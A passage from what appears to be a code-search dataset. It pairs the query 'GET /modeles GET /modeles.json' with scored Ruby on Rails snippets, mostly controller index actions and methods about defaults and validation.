"score": "0.5109095",
"text": "def required_on\n if null\n nil\n elsif default.nil?\n :save\n else\n :update\n end\n end",
"title": ""
},
{
"docid": "3ef7316fdec8a29fcefc65103a5bda5c",
"score": "0.5070315",
"text": "def init_validation\n @document = Valid.get_association self, :id\n @user = Valid.get_association self, :user_id\n end",
"title": ""
},
{
"docid": "e56733ccf636c113294197b6a796b7bf",
"score": "0.50556314",
"text": "def is_default\n data[:is_default]\n end",
"title": ""
},
{
"docid": "c8bd2cae83c4067a119b0df53a3360f2",
"score": "0.5042149",
"text": "def current_context\n context = Validation::Context.current\n valid_context?(context) ? context : :default\n end",
"title": ""
},
{
"docid": "63d7899f7f12d06ae3874801570fe145",
"score": "0.5036422",
"text": "def default?\n !@default.nil?\n end",
"title": ""
},
{
"docid": "215b5e453bfabbace8ac5ec27671e388",
"score": "0.5033119",
"text": "def default?\n options.key?(:default)\n end",
"title": ""
},
{
"docid": "1482d1319b9713645cd89dcbaba1f938",
"score": "0.5011056",
"text": "def default?\n @default\n end",
"title": ""
},
{
"docid": "c4293f14f67796ac47d7ea51d75b4ceb",
"score": "0.5005043",
"text": "def default_value\n self['default']\n end",
"title": ""
},
{
"docid": "f585c1427727cb68d03a0465bdbf8c1c",
"score": "0.50037295",
"text": "def ensure_setting\n self.setting ||= Setting.build_default(self)\n end",
"title": ""
},
{
"docid": "5c8549be91e53b7c9b9639c8d2dff116",
"score": "0.50025433",
"text": "def get_validation_level\n end",
"title": ""
},
{
"docid": "0364c6ece18f4e909460bc100ad6023e",
"score": "0.49893266",
"text": "def default_option\n if configuration_options.count == 1\n configuration_options.first\n else\n configuration_options.find { |option| option.free? }\n end\n end",
"title": ""
},
{
"docid": "049b84761e1aaf92256744489e63e106",
"score": "0.4975931",
"text": "def default_checks()\n return @checks\n end",
"title": ""
},
{
"docid": "f6975ce41bbd553a10d448b2328b08cc",
"score": "0.49432936",
"text": "def is_default?\n return self.name == '_default'\n end",
"title": ""
},
{
"docid": "f17b94241b1795271ba15bfc6f15a57c",
"score": "0.49223313",
"text": "def default?\n defaults.any?\n end",
"title": ""
},
{
"docid": "2365df49f9efc2d3019470a0880454a4",
"score": "0.48869178",
"text": "def default\n attributes.default\n end",
"title": ""
},
{
"docid": "c457fbff4193e77420bcf584978799b1",
"score": "0.48860434",
"text": "def validation_class\n if self.required?\n 'required' \n else\n ''\n end\n end",
"title": ""
},
{
"docid": "3161507f30301b38bb4ca87ce0d9e410",
"score": "0.4876473",
"text": "def default?\n !@default.to_s.empty?\n end",
"title": ""
},
{
"docid": "665a08296a6ae25c915aac87590b2978",
"score": "0.4865413",
"text": "def get_default_settings\n return INTERNAL_DEFAULT_SETTINGS.merge @@default_settings if (@@default_settings)\n return INTERNAL_DEFAULT_SETTINGS\n end",
"title": ""
},
{
"docid": "665a08296a6ae25c915aac87590b2978",
"score": "0.48645744",
"text": "def get_default_settings\n return INTERNAL_DEFAULT_SETTINGS.merge @@default_settings if (@@default_settings)\n return INTERNAL_DEFAULT_SETTINGS\n end",
"title": ""
},
{
"docid": "78dea2a3fafa22a94f2391aa9dd65e95",
"score": "0.48643482",
"text": "def validate(record)\n if record._database_validations_fallback\n super\n else\n return unless record.public_send(foreign_key).blank? && record.public_send(association).blank?\n\n record.errors.add(association, :blank, message: :required)\n end\n end",
"title": ""
},
{
"docid": "471dce9064622217c9bc9d8d82213454",
"score": "0.48620686",
"text": "def default?\n severity == :DEFAULT\n end",
"title": ""
},
{
"docid": "814e36f3cd6752aa329fd1f22b19e65a",
"score": "0.48563033",
"text": "def merge_defaults!\n Setting::DEFAULTS.each do |name, default_value_or_proc|\n value = default_value_or_proc.is_a?(Proc) ? default_value_or_proc.call() : default_value_or_proc\n setting = Setting.find_or_create_by(:name => name, :value => value)\n unless setting.valid?\n raise RuntimeError, setting.errors.map {|_, msg| msg }.join(', ')\n end\n end\n end",
"title": ""
},
{
"docid": "8791c2fad9a3094e636a4aabb1196240",
"score": "0.48551267",
"text": "def foreign_key_default\n nil\n end",
"title": ""
},
{
"docid": "ac3e203b71a958cdb721bd6641995f6d",
"score": "0.48308182",
"text": "def default_value\n return @default_value\n end",
"title": ""
},
{
"docid": "c26dfb3995997bafff72d37cdb2425b5",
"score": "0.48275295",
"text": "def default\n return @default\n end",
"title": ""
},
{
"docid": "4b54556c20c44e816185df2e15b14676",
"score": "0.48233274",
"text": "def required_by_default?; end",
"title": ""
},
{
"docid": "38bfeee53f5a26b74143731e47d86d5f",
"score": "0.48076418",
"text": "def is_default=(value)\n @is_default = value\n end",
"title": ""
},
{
"docid": "38bfeee53f5a26b74143731e47d86d5f",
"score": "0.48076418",
"text": "def is_default=(value)\n @is_default = value\n end",
"title": ""
},
{
"docid": "8992c8cb61ddf80de7ee52af61c872d4",
"score": "0.4799844",
"text": "def owner_class_attribute_default; end",
"title": ""
},
{
"docid": "51161265243d68cf35df43ceecfafe72",
"score": "0.47974715",
"text": "def default_value\n return @default_value if @default_value\n\n superclass.default_value if superclass.respond_to?(:default_value)\n end",
"title": ""
},
{
"docid": "167e2a062f74656c66a71858d66c971a",
"score": "0.47724143",
"text": "def validates(*args, &block)\n validation(name: :default, inherit: true) { validates *args, &block }\n end",
"title": ""
},
{
"docid": "775e338fb2b0764d15d2a4af878f17c1",
"score": "0.47681636",
"text": "def default_value\n config[:default]\n end",
"title": ""
},
{
"docid": "dedc06428e0cfa79b1f6acb7949163c3",
"score": "0.47642463",
"text": "def valid_or_default(value, valids, default, default_default = nil)\n if valids.include?(value)\n value\n else\n default.nil? ? default_default : default\n end\n end",
"title": ""
},
{
"docid": "7dd7230a056bff57168434fb7ec4c208",
"score": "0.47517535",
"text": "def default\n options[:default]\n end",
"title": ""
},
{
"docid": "675701eb46e2148d5f2d1e52b814cdc1",
"score": "0.47500157",
"text": "def init_validation\n @slide = Valid.get_association self, :id\n @lesson = Valid.get_association self, :lesson_id\n end",
"title": ""
},
{
"docid": "e897d1b9756f86c445e08a0a6881ddef",
"score": "0.47431448",
"text": "def field_defaults\r\n return @field_defaults\r\n end",
"title": ""
},
{
"docid": "319e8d31bf3c450be685701383cc5ce2",
"score": "0.47430077",
"text": "def validate?\n @options[:validate]\n end",
"title": ""
},
{
"docid": "b22f3147d8ff89b98588624c4ab602b1",
"score": "0.47374162",
"text": "def validation_options\n @validation_options ||= options.reject do |k, v|\n %i{declared_in name instance_variable_name desired_state identity default name_property coerce required nillable sensitive description introduced deprecated default_description skip_docs}.include?(k)\n end\n end",
"title": ""
},
{
"docid": "1f9488a1761912dcbd71ecdc803bd2a1",
"score": "0.47265938",
"text": "def default\n self['default']\n end",
"title": ""
},
{
"docid": "e5e0d851f512ef0d6877d24593bae049",
"score": "0.46968025",
"text": "def default\n @default = true\n end",
"title": ""
},
{
"docid": "5f3c29c0ccdbc7f677a4af27960e1156",
"score": "0.4692861",
"text": "def get_default_field_options\n @default_field_options ||= {\n :suppress_fields => []\n }\n end",
"title": ""
},
{
"docid": "81cc9d8f8bf27ab36fe0d6cf7eb7cb6a",
"score": "0.469033",
"text": "def default_value\n column = association_class.column_for_attribute(attribute_name)\n\n case column.type\n when :date\n direction == :asc ? DATE_MIN : Date.current\n when :datetime\n (direction == :asc ? DATE_TIME_MIN : Time.current.utc).iso8601(6)\n when :string, :text\n direction == :asc ? STRING_MIN : STRING_MAX\n else\n ActiveModel::Type::Integer.new(limit: column.limit).send(direction == :asc ? :min_value : :max_value)\n end\n end",
"title": ""
},
{
"docid": "2f01a951598608cabf1e9ded1652f9af",
"score": "0.46810743",
"text": "def defines_default?(key)\n @defaults.key?(key)\n end",
"title": ""
},
{
"docid": "b7cc97f12ddeb31f6bb4b7c24275987b",
"score": "0.4673919",
"text": "def associated_records_to_validate_or_save(association, new_record, autosave)\n if new_record || custom_validation_context?\n association && association.target\n elsif autosave\n association.target.find_all(&:changed_for_autosave?)\n else\n association.target.find_all(&:new_record?)\n end\n end",
"title": ""
},
{
"docid": "1ddab33b2c9fdaafd7d6a359f7e45e3e",
"score": "0.46660385",
"text": "def init_validation\n @tag = Valid.get_association self, :id\n end",
"title": ""
},
{
"docid": "5b18f7b91259bc2603bf1c75ed862e73",
"score": "0.46636286",
"text": "def validate_defaults\n msg = if @default.nil? || @default.to_s.empty?\n \"default index must be an integer in range (1 - #{choices.size})\"\n elsif @default.to_s !~ INTEGER_MATCHER\n validate_default_name\n elsif @default < 1 || @default > @choices.size\n \"default index #{@default} out of range (1 - #{@choices.size})\"\n elsif choices[@default - 1] && choices[@default - 1].disabled?\n \"default index #{@default} matches disabled choice item\"\n end\n\n raise(ConfigurationError, msg) if msg\n end",
"title": ""
},
{
"docid": "99895fb1602d54e07eb9d9302f0d945a",
"score": "0.46635222",
"text": "def default?\n @name == 'Default'\n end",
"title": ""
},
{
"docid": "3ada836ab593a9e237a7e121806f5bb3",
"score": "0.46623462",
"text": "def check_default metric;\n @check_default = metric\n end",
"title": ""
},
{
"docid": "bef34366fbcf78d20c34ce84c2e6bde3",
"score": "0.4661268",
"text": "def _validates_default_keys\n %i[if unless on allow_blank allow_nil strict]\n end",
"title": ""
},
{
"docid": "ce3bf3f4eeaa26ef2f5507b4b75ea2e1",
"score": "0.46600795",
"text": "def validate?\n !options[:validate].nil? ? options[:validate] : collection?\n end",
"title": ""
},
{
"docid": "44d9b0ad03d4bdd9f335f5234af3c00b",
"score": "0.46522063",
"text": "def default\n @default\n end",
"title": ""
},
{
"docid": "4b8e001b0c886fcd59d75678298ac28a",
"score": "0.46491444",
"text": "def default_config\n self.class.default_config\n end",
"title": ""
},
{
"docid": "102869594d46fe6479de4dcc05550854",
"score": "0.46409273",
"text": "def default_options\n DEFAULT_OPTIONS\n end",
"title": ""
},
{
"docid": "e5411bd99a204cb719a78f8385c0eef2",
"score": "0.46359158",
"text": "def disabled_auto_validations?\n @disable_auto_validations || false\n end",
"title": ""
},
{
"docid": "5188d5c89d57262410e965467e53bbeb",
"score": "0.46359122",
"text": "def default_options\n @default_options ||= self.class.default_options\n end",
"title": ""
},
{
"docid": "633711320b935f9bc2e1f619ff384a07",
"score": "0.4635224",
"text": "def default?\n @id == :default\n end",
"title": ""
},
{
"docid": "dee79ff966801be90cb988993a06443c",
"score": "0.4627273",
"text": "def load_config\n @log.debug \"loading validator-specific configuration\"\n config = Autosign::Config.new\n\n if config.settings.to_hash[self.name].nil?\n @log.warn \"Unable to load validator-specific configuration\"\n @log.warn \"Cannot load configuration section named '#{self.name}'\"\n return {}\n else\n @log.debug \"Set validator-specific settings from config file: \" + config.settings.to_hash[self.name].to_s\n return config.settings.to_hash[self.name]\n end\n end",
"title": ""
},
{
"docid": "77e418b37ee4195c13b51f2a2a5b8acb",
"score": "0.46261764",
"text": "def is_default_calendar\n return @is_default_calendar\n end",
"title": ""
},
{
"docid": "1579dadfdc4ccaf27b8f22e5d191022a",
"score": "0.4621488",
"text": "def default_email_preferences\n EmailPreference.default_set_for_user(self) if email_preferences.blank?\n end",
"title": ""
},
{
"docid": "6326011688306a8d67f2a02919b5656f",
"score": "0.46210092",
"text": "def use_default_style?\n return @use_default_style\n end",
"title": ""
},
{
"docid": "c3342eebd686355bda716a413737f3cd",
"score": "0.46189517",
"text": "def provision_group_default\n @attributes[:provision_group_default]\n end",
"title": ""
},
{
"docid": "89ca71b388dea2c03433f7a34c12a432",
"score": "0.46179727",
"text": "def validation_class\n if self.required?\n if self.style == 'drop-down'\n 'validate-selection' \n elsif self.style == 'rating'\n 'validate-rating'\n elsif self.style == 'acceptance'\n 'required'\n else\n 'validate-one-required'\n end\n else\n ''\n end\n end",
"title": ""
},
{
"docid": "d6f4d87cfbd3b1f1ce0742b65a4ffa7f",
"score": "0.4608417",
"text": "def changes_to_default?\n return false unless has_default?\n\n # Cast our value to the actual type; if this is a boolean value, this\n # casts \"f\" to false.\n column = master_class.type_for_attribute(column_name)\n typecasted_value = column.deserialize(value)\n\n typecasted_value == get_default\n end",
"title": ""
},
{
"docid": "7eb22d012bbc045af024539bf6a1da4f",
"score": "0.46071953",
"text": "def default_options\n options[:class] ||= [:errors]\n options[:id] ||= \"#{object_name}_errors\"\n end",
"title": ""
},
{
"docid": "5f14ba8d49c61492f06612c4ba661371",
"score": "0.46019936",
"text": "def defaults\n defaults = self[:defaults] || {}\n return defaults if defaults.any?\n options.fetch 'defaults', {}\n end",
"title": ""
},
{
"docid": "0cdfe6e3363724e8222aabb8b86f9e7a",
"score": "0.460076",
"text": "def reflect_on_all_validations\n self.read_inheritable_attribute(:validations) || []\n end",
"title": ""
},
{
"docid": "abb8305c79d1cdb611fa8d80a268d639",
"score": "0.45990393",
"text": "def default_design\n designs.select { |d| d.default? }.first\n end",
"title": ""
},
{
"docid": "1007c73424de04a3d7a30e1bbd796de4",
"score": "0.45973146",
"text": "def get_default\n if self.current_defaults\n self.current_defaults.first\n else\n raise \"Cette instance ne possède de #{self.class.name} par default\"\n end\n end",
"title": ""
},
{
"docid": "c6742dd0d06ff94cf276e49ff2956e1c",
"score": "0.45922226",
"text": "def default_values\n self.organization_active = true if attributes.key?('organization_active') && organization_active.nil?\n end",
"title": ""
},
{
"docid": "120721f31874e8be07f4bf5555724335",
"score": "0.45897993",
"text": "def default?(preference)\n self.send(preference.to_sym) == self.class.new.send(preference.to_sym)\n end",
"title": ""
},
{
"docid": "83ce4a3befa0ea04739a302ffeee9eb2",
"score": "0.45839468",
"text": "def config\n @config ||= rule_applier.config\n end",
"title": ""
}
] |
d092eee3b1c79313b0ca0a1ea897b350
|
GET /modeles GET /modeles.json
|
[
{
"docid": "6c4bf1eae5a9bfff94fdce8694ed46c3",
"score": "0.7366104",
"text": "def index\n @modeles = Modele.all\n end",
"title": ""
}
] |
[
{
"docid": "8e03aab723c567e96fb6b27987f07b6e",
"score": "0.61665386",
"text": "def index\n @layers = Layer.all(:order => :id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @layers }\n end\n end",
"title": ""
},
{
"docid": "85f39efd7c684952437883ef3f097f8c",
"score": "0.6063048",
"text": "def index\n @layers = Layer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @layers }\n end\n end",
"title": ""
},
{
"docid": "1c0ec9465e7eedd8a73bc73552455edb",
"score": "0.5997478",
"text": "def index\n @legs = Leg.all\n\n render json: @legs\n end",
"title": ""
},
{
"docid": "197284413c13654807411a698123a7e4",
"score": "0.59966207",
"text": "def index\n @intelligence_mods = IntelligenceMod.all\n\n render json: @intelligence_mods\n end",
"title": ""
},
{
"docid": "98dec5b517bd58e91b2eab3a8d6da1c5",
"score": "0.59761226",
"text": "def index\n @lemurs = Lemur.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lemurs }\n end\n end",
"title": ""
},
{
"docid": "25577b46adf33964d25a0ec4221928a7",
"score": "0.5971394",
"text": "def index\n @lectures = Lecture.all\n\n render json: @lectures\n end",
"title": ""
},
{
"docid": "bd07e549db8270358ee8728e90f1902b",
"score": "0.59130216",
"text": "def show\n @componente_modelo = ComponenteModelo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @componente_modelo }\n end\n end",
"title": ""
},
{
"docid": "bf2c1ec00b19594cfb410432d0af6253",
"score": "0.58937776",
"text": "def show\n id = params[:id]\n\n lang = params[:lang] || I18n.locale\n\n if is_a_number?(id)\n model = entity.get_relationships().find_by(id: id)\n else\n model = entity.get_relationships().find_by(slug: id)\n end\n\n render json: model.to_json(:include => [\n :translations,\n :translation,\n :categories,\n :lawyers,\n :gallery\n ])\n end",
"title": ""
},
{
"docid": "c312cbe04c19e55e7eff35ef510113d1",
"score": "0.58825815",
"text": "def index\n @layers = Layer.where(:soil_id => params[:soil_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @layers }\n end\n end",
"title": ""
},
{
"docid": "886fbee089940c66712c8af7f1faa641",
"score": "0.5875774",
"text": "def show_models\n render :json => models\n end",
"title": ""
},
{
"docid": "eddc419502f347c589148eede8a319d5",
"score": "0.5869822",
"text": "def index\n @lexemes = Lexeme.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lexemes }\n end\n end",
"title": ""
},
{
"docid": "727f0ff90b2eef196c32c1cced12d577",
"score": "0.57854164",
"text": "def show\n render json: @lecture\n end",
"title": ""
},
{
"docid": "4006fa08304d12bd8567b97e3074a7e2",
"score": "0.5783722",
"text": "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: ModeType::ALL.map(&:to_simple) }\n end\n end",
"title": ""
},
{
"docid": "5a33dea57c74f6cc5dcfe8c8c1d1fa44",
"score": "0.57805175",
"text": "def index\n @engines = Engine.all\n\n render json: @engines\n end",
"title": ""
},
{
"docid": "a1c0dfe196df7bc16dae19b6222c1c09",
"score": "0.5774682",
"text": "def show\n @modello = Modello.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @modello }\n end\n end",
"title": ""
},
{
"docid": "f8f9c3db61c3f9836e94b6b6f70856f2",
"score": "0.576358",
"text": "def index\n @entities = Entity.all\n render json: @entities\n end",
"title": ""
},
{
"docid": "b4533c8b4b9c22ddad9f5373a8476992",
"score": "0.57391876",
"text": "def show\n render json: @intelligence_mod\n end",
"title": ""
},
{
"docid": "c9daf3456a83d76b0c9e9537aa0c6071",
"score": "0.57175255",
"text": "def index\n @models = Model.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @models }\n end\n end",
"title": ""
},
{
"docid": "e49fd845c1f5d5d5fde3a5ec23a73a27",
"score": "0.5707419",
"text": "def show\n @ontology = Ontology.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ontology }\n end\n end",
"title": ""
},
{
"docid": "7b3904cb4c7d1de71b8ac751744f0a12",
"score": "0.5703384",
"text": "def index\n @freelaws = Freelaw.ordered_roots\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @freelaws }\n end\n end",
"title": ""
},
{
"docid": "6f9c08e7f8bae206f89112f227c7d503",
"score": "0.5694941",
"text": "def index\n @title = \"All Edges\"\n @edges = Edge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @edges }\n end\n end",
"title": ""
},
{
"docid": "e352a39f072b4ecc910eb0d6be3a2619",
"score": "0.56945556",
"text": "def getModel\n render :json=> Question.find(params[:id])\n end",
"title": ""
},
{
"docid": "9fd8976d76a1988c7923a941028ee784",
"score": "0.5686273",
"text": "def index\n @modelos = MODELOS\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "f835dd603ce08f39a89a1350066b11a9",
"score": "0.56649446",
"text": "def index\n @orgaos = Orgao.all\n\n render json: @orgaos\n end",
"title": ""
},
{
"docid": "a842a90f98c13f684e3df7ff2f6c3095",
"score": "0.5657529",
"text": "def index\n @techniques = Technique.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.text { render text: @techniques.map{|e| \"#{e.id}\\t#{e.name}\"}.join(\"\\n\")}\n format.json { render json: @techniques }\n end\n end",
"title": ""
},
{
"docid": "fc224b3971a10664bc20e79923426b8b",
"score": "0.56561434",
"text": "def index\n @strength_mods = StrengthMod.all\n\n render json: @strength_mods\n end",
"title": ""
},
{
"docid": "dea78b99d951c0b5620f654165528a00",
"score": "0.56560534",
"text": "def index\n @layers = Layer.all\n end",
"title": ""
},
{
"docid": "4377c1534db3f06ce27f99fa0e1e6f23",
"score": "0.5651296",
"text": "def index\n @constitution_mods = ConstitutionMod.all\n\n render json: @constitution_mods\n end",
"title": ""
},
{
"docid": "885817f39fdd77ebf744f3e972058598",
"score": "0.56486785",
"text": "def show\n @modelo = Modelo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @modelo }\n end\n end",
"title": ""
},
{
"docid": "28b7c9d48aaa7cc8449ef645d7d0ea71",
"score": "0.5648334",
"text": "def index\n @materials = Material.all\n\n render json: @materials\n end",
"title": ""
},
{
"docid": "f767d4b9198848c49c28a20706a60a63",
"score": "0.5644329",
"text": "def show\n @lexeme = Lexeme.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lexeme }\n end\n end",
"title": ""
},
{
"docid": "3364f582ae20be28e8d834049affa1e1",
"score": "0.5639209",
"text": "def index\n @nombre_modelos = NombreModelo.all\n end",
"title": ""
},
{
"docid": "8d118399e0f53677930c280a37e8d194",
"score": "0.5638948",
"text": "def destroy\n @modele.destroy\n respond_to do |format|\n format.html { redirect_to modeles_url, notice: 'Modele was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2ad5e9b554ded4b25a833c65af676be8",
"score": "0.56311035",
"text": "def index\n #@knowledge_trees = KnowledgeTree.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: KnowledgeTree.select([:id, :name, :pId, :node_type]) }\n end\n end",
"title": ""
},
{
"docid": "b46a96d0268897c22b3635212fb22373",
"score": "0.56276643",
"text": "def index\n @lpuzzles = Lpuzzle.find(:all, :order => 'title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lpuzzles }\n end\n end",
"title": ""
},
{
"docid": "0e7bc03ed18e4f33b6a8e7f6aad58549",
"score": "0.56228715",
"text": "def index\n @planes = Plane.all\n render json: @planes\n end",
"title": ""
},
{
"docid": "5092db64e4dcd20c32cc8b06a5d50fa5",
"score": "0.56204075",
"text": "def index\n @meanings = Meaning.includes(:verbs, :microroles).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meanings }\n end\n end",
"title": ""
},
{
"docid": "704f8019772365ae25eca6d5763ec3e7",
"score": "0.5619535",
"text": "def index\n @map = Map.find(params[:map_id])\n @layers = @map.layers\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @layers }\n end\n end",
"title": ""
},
{
"docid": "d2a660c3c63802e5245aec39163ac093",
"score": "0.5618175",
"text": "def getModelos\n\t\tmarca = params[:marca].to_i\n\t\tif marca\n\t\t\tmarca = Marca.where(:id=>marca).first\n\t\t\tif marca\n\t\t\t\tmodelos = Modelo.select(\"nombre,id\").where(:marca_id=>marca.id.to_i)\n\t\t\t\tmsg = { :status => \"success\", :modelos => modelos }\n\t\t\t\trender :json => msg\n\t\t\telse\n\t\t\t\tmsg = { :status => \"error\", :message => \"Error marca invalida\"}\n\t\t\t\trender :json => msg\n\t\t\tend\n\t\telse\n\t\t\tmsg = { :status => \"error\", :message => \"Error marca invalida\"}\n\t\t\trender :json => msg\n\t\tend\n\t\treturn \n\tend",
"title": ""
},
{
"docid": "a452af31d042ebc766b4bd22cb49d242",
"score": "0.56171405",
"text": "def index\n @torneos = Torneo.all\n render json: @torneos, status: :ok\n end",
"title": ""
},
{
"docid": "cee6fcd4fb0fe69d701e983b3f6962f6",
"score": "0.5613572",
"text": "def index\n @modeles = Modele.includes(:versions).order(:numero).load\n @couleurs = Hash[Couleur.pluck(:id,:nom)]\n end",
"title": ""
},
{
"docid": "1e85e4abe3a79e9038d0b4bd7d5d88f8",
"score": "0.5613111",
"text": "def index\n @movers = Mover.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movers }\n end\n end",
"title": ""
},
{
"docid": "01da64def445783cd1ab9ec3ce468e79",
"score": "0.56081814",
"text": "def models\n client.endpoint = 'models'\n res = client.get\n res.is_a?(Hash) && res[:error].present? ? res : res.map { |item| item.transform_keys(&:to_sym) }\n end",
"title": ""
},
{
"docid": "8b5261f31e4fda22633ed91f89784678",
"score": "0.5605521",
"text": "def show\n @lop = Lop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lop }\n end\n end",
"title": ""
},
{
"docid": "b7e2ab397f02c8780462ff3f3998f449",
"score": "0.5604125",
"text": "def index\n @modelos = @questionario.modelos\n end",
"title": ""
},
{
"docid": "4752c70633fdc9b41ec7f9ac01f405f0",
"score": "0.5601155",
"text": "def index\n @mentors = Mentor.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mentors }\n end\n end",
"title": ""
},
{
"docid": "24b0ce10d35ba368e1820172b44f5262",
"score": "0.5600536",
"text": "def index\n @relations = Relation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @relations }\n end\n end",
"title": ""
},
{
"docid": "31cdba31bb2739335cb39819441566f6",
"score": "0.55950177",
"text": "def index\n @lift_sets = LiftSet.all\n\n render json: @lift_sets\n end",
"title": ""
},
{
"docid": "446594e69868210a195a4d45ed8f28ea",
"score": "0.5588477",
"text": "def index\n @models = Model.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @models }\n end\n end",
"title": ""
},
{
"docid": "58b8be18f8069014b58ce0b34113cf03",
"score": "0.5583845",
"text": "def index\n @character_class_evolutions = CharacterClassEvolution.all\n\n render json: @character_class_evolutions\n end",
"title": ""
},
{
"docid": "765f58d8066965b79ec779997d5153fe",
"score": "0.5571227",
"text": "def index\n @leagues = League.all\n render json: @leagues\n end",
"title": ""
},
{
"docid": "cf2d16851c4e8776f1f1daaadd02e6b3",
"score": "0.556147",
"text": "def index\n @mpuzzles = Mpuzzle.find(:all, :order => 'title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mpuzzles }\n end\n end",
"title": ""
},
{
"docid": "8ef0ef8c5d7ba8b00f1b31bb081747d3",
"score": "0.55600244",
"text": "def index\n @nivels = Nivel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nivels }\n end\n end",
"title": ""
},
{
"docid": "ccf47aae117e4ab41d4626dbf695a9d7",
"score": "0.5558029",
"text": "def show\n @orf_model = OrfModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orf_model }\n end\n end",
"title": ""
},
{
"docid": "c3726c5c6ce9fb56281d874bab26bdbc",
"score": "0.5557073",
"text": "def index\n @intels = Intel.all.reverse\n render json: @intels\n end",
"title": ""
},
{
"docid": "3208821ad490795a4f067ad2aeacec93",
"score": "0.5539822",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @majors }\n format.json { render :text => get_json }\n end\n end",
"title": ""
},
{
"docid": "3d3173c231ca11fe732add3b46a8c039",
"score": "0.5537169",
"text": "def index\n\t\t@schemes = Scheme.all\n\n\t\trender json: @schemes\n\tend",
"title": ""
},
{
"docid": "e06b50b6bd3b61d1af1c30fafd121d39",
"score": "0.5536953",
"text": "def index\n @artikels = Artikel.all\n\n render json: @artikels\n end",
"title": ""
},
{
"docid": "249b1299aafe638af0a15e2f42f3cf28",
"score": "0.55360526",
"text": "def list(options = { page: 1, per_page: 20 })\n data = @app.client.models options\n Clarinet::Models.new @app, data[:models]\n end",
"title": ""
},
{
"docid": "dfb5d471354698fd567cfe488ab3f313",
"score": "0.5534406",
"text": "def index\n render json: model\n end",
"title": ""
},
{
"docid": "230f8122251fd32cb4fa8f8f1213f7b4",
"score": "0.55333096",
"text": "def index\n @poems = Poem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @poems }\n end\n end",
"title": ""
},
{
"docid": "2015cb95732fb3719f8dc7c23386035e",
"score": "0.5531684",
"text": "def show\n @engine_model = EngineModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @engine_model }\n end\n end",
"title": ""
},
{
"docid": "526a684a5edae647e3adea9abe0a4fb9",
"score": "0.55288637",
"text": "def index\n @armors = Armor.all\n\n render json: @armors\n end",
"title": ""
},
{
"docid": "1a3bd84e8540b5ae4b383bb26c87aff9",
"score": "0.55263036",
"text": "def index\n @learning_materials = LearningMaterial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @learning_materials }\n end\n end",
"title": ""
},
{
"docid": "e2c8a8e820a2bec601978163b351f947",
"score": "0.5522035",
"text": "def show\n @modelo1 = Modelo1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @modelo1 }\n end\n end",
"title": ""
},
{
"docid": "6a7725411bd737fd8dade9f612b6a78b",
"score": "0.55203676",
"text": "def load_model_info\n JSON.parse(RestClient.get(model_info_url))\n end",
"title": ""
},
{
"docid": "a15b4e646dd04e30327ddc0b030389f5",
"score": "0.55196303",
"text": "def show\n @norm = Norm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @norm }\n end\n end",
"title": ""
},
{
"docid": "82c21d872be76e2608c081fca68b9310",
"score": "0.5519554",
"text": "def show\n\n\t\tif I18n.locale == \"en\"\n\t\t\tlawyer_position = \"Partner\"\n\t\telse\n\t\t\tlawyer_position = \"Socio\"\n\t\tend\n\n\t\tmodel = entity.includes(\n\t\t\t:gallery,\n\t\t\t:translation,\n\t\t\t:experiences,\n\t\t\t:lawyers\n\t\t)\n\t\t.find_by(slug: params[:id])\n\n\t\trender json: model.to_json(\n\t\t\t:include => [\n\t\t\t\t:gallery,\n\t\t\t\t:translation,\n\t\t\t\t:translations,\n\t\t\t\t:lawyers,\n\t\t\t\t:experiences => {:include => :gallery}\n\t\t])\n\tend",
"title": ""
},
{
"docid": "a17bedd492a5111af05ea4fea3f86b3c",
"score": "0.5512837",
"text": "def index\n @nodes = Node.all\n\n render json: @nodes\n end",
"title": ""
},
{
"docid": "5b962db9e9992efc13cdaf058c33a0a8",
"score": "0.54969376",
"text": "def show\n @loco = Loco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loco }\n end\n end",
"title": ""
},
{
"docid": "a9967390cf56a8855ba0f5f12de75739",
"score": "0.5496783",
"text": "def index\n @mode_lists = ModeList.all\n end",
"title": ""
},
{
"docid": "fe60c8394e21347279d541fcaf8983ce",
"score": "0.5495107",
